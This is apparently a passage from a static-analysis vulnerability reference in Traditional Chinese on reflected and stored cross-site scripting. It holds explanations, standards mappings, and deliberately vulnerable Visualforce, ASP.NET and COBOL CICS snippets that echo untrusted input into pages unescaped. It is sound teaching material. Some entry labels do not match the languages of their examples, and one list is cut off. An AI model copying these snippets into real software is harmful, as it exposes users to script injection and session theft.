[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.actionscript.cross_site_scripting_reflected
Abstract
將未經驗證的資料傳送到網頁瀏覽器可能會導致執行惡意程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1. 資料從一個不可信賴的來源進入 Web 應用程式。如果是 Reflected XSS,不可信賴的來源大多為 Web 要求;如果是 Persistent XSS (也可稱為 Stored XSS),來源大多為資料庫查詢結果。

2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

惡意內容通常為 JavaScript 程式碼片段,但也可以是 HTML、Flash 或瀏覽器可執行的任何其他作用中內容。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。


範例 1:以下 Visualforce 程式碼片段會讀取 HTTP 要求參數 username,並向使用者顯示。


<script>
document.write('{!$CurrentPage.parameters.username}')
</script>


此範例中的程式碼旨在僅接收英數文字並加以顯示。但是,如果 username 包含中繼字元或來源程式碼,則會由網頁瀏覽器執行。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下 Apex 程式碼片段會在資料庫中查詢具有指定 ID 的聯絡人名稱並傳回對應的員工姓名 (之後由 Visualforce 程式碼進行列印)。


...
variable = Database.query('SELECT Name FROM Contact WHERE id = ID');
...

<div onclick="this.innerHTML='Hello {!variable}'">Click me!</div>


Example 1 所述,對 name 的值進行明確界定時 (例如,僅英數字元),此程式碼會正常運作,但無法檢查惡意資料。即使該值讀取自資料庫,也應該對其進行適當驗證,因為資料庫的內容可能源自於使用者提供的資料。這樣一來,攻擊者可以在使用者的網頁瀏覽器中執行惡意指令,而無需與受害者進行互動 (類似於 Reflected XSS)。此類攻擊稱為 Stored XSS (或 Persistent XSS),可能非常難以偵測,因為資料是以間接方式提供給易受攻擊的函數,並且由於影響多個使用者的可能性,此類攻擊的影響會更強烈。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。有兩種途徑可執行 XSS 攻擊:

- 如 Example 1 所述,會從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者將危險內容傳遞至易受攻擊的 Web 應用程式,然後回傳給使用者並透過其瀏覽器執行時,會出現 Reflected XSS。傳遞惡意內容最常用的機制就是,將惡意內容當作參數包含在公開發佈的 URL 中,或者以電子郵件方式直接傳送給受害者。透過此方式修改的 URL 是許多釣魚架構的核心,其中攻擊者會誘騙受害者造訪該 URL。當網站回傳內容給使用者後便會加以執行,並且可執行多個動作,例如轉送隱私、敏感的資訊、在受害者電腦上執行未經授權的作業等。

- 如 Example 2 所述,資料庫或其他資料儲存區會向應用程式提供將包含在動態內容中的危險資料。從攻擊者的角度來看,儲存惡意內容的最佳位置是可供所有使用者 (尤其是擁有較高權限的使用者) 存取的區域,這些使用者更有可能會處理敏感資訊或執行關鍵作業。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Salesforce Developers Technical Library Secure Coding Guidelines - Cross Site Scripting
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.apex.cross_site_scripting_reflected
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下 ASP.NET 網頁表單會從 HTTP 要求讀取員工識別碼,然後顯示給使用者。

<script runat="server">
...
EmployeeID.Text = Login.Text;
...
</script>


其中,LoginEmployeeID 是定義如下的表單控制項:


<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
範例 2:以下的 ASP.NET 程式碼片段會示範以程式設計方式來實作 Example 1

protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;


如果 Login 只包含標準英數字元,則這些範例中的程式碼都會正確地運作。如果 Login 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL? 真正的危險是攻擊者會建立惡意的 URL,然後使用電子郵件或社交工程技倆來誘騙受害者按下連結。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 3:以下的 ASP.NET 網頁表單使用指定的員工識別碼向資料庫查詢員工,並列印出與識別碼相對應的名字。

<script runat="server">
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
</script>


其中,EmployeeName 是定義如下的表單控制項:


<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
範例 4:以下 ASP.NET 程式碼片段的功能與之前的 Example 3 相當,不過卻是以程式設計方式來實作所有的表單元素。

protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;


Example 1Example 2 所述,name 值正常運作時,這些程式碼範例便會正確執行,不然就會完全無法避免攻擊。此外,這些程式碼之所以較不危險,是因為 name 值是從資料庫中讀取的,其內容顯然都由應用程式管理。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1Example 2 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 3Example 4 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。

有許多現代的 Web 架構提供執行使用者輸入驗證的機制 (包括 ASP.NET 要求驗證和 WCF)。為了突顯未驗證的輸入來源,Fortify 安全編碼檢查規則會降低 Fortify Static Code Analyzer 所報告之問題的攻擊可能性,並在使用框架驗證機制時提供支援證據的指標,以動態重新排列其優先順序。如果是 ASP.NET 要求驗證,我們也會針對何時明確停用驗證提供證據。我們將此功能稱為「內容相關性排名」。為了進一步協助 Fortify 使用者進行稽核程序,Fortify Software 安全研發團隊提供了資料驗證專案範本,該範本會依據套用到其輸入來源的驗證機制,按資料夾對問題進行分組。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Anti-Cross Site Scripting Library MSDN
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.dotnet.cross_site_scripting_reflected
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。

2. 在未對包含資料的動態內容進行驗證的情況下,便將其傳送至某個網路瀏覽器。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1: 以下的程式碼片段在 HTML 表單中讀取員工的識別碼 EID,並顯示給使用者。


...
EXEC CICS
WEB READ
FORMFIELD(ID)
VALUE(EID)
...
END-EXEC.

EXEC CICS
WEB SEND
FROM(EID)
...
END-EXEC.
...


如果 EID 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 EID 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2: 以下的程式碼片段,根據所給予的識別碼在資料庫中查詢員工,並列印該員工姓名。


...
EXEC SQL
SELECT NAME
INTO :ENAME
FROM EMPLOYEE
WHERE ID = :EID
END-EXEC.

EXEC CICS
WEB SEND
FROM(ENAME)
...
END-EXEC.
...


Example 1 所述,ENAME 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 ENAME 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 ENAME 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這種類型的攻擊,被稱作 Stored XSS,是特別狡詐的,因為間接的資料儲存方式使得該威脅難以辨別,而且提高了該攻擊會影響到多個使用者的可能性。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTML 表單中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。當攻擊者有以下情況時,Stored XSS 攻擊就會出現:

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
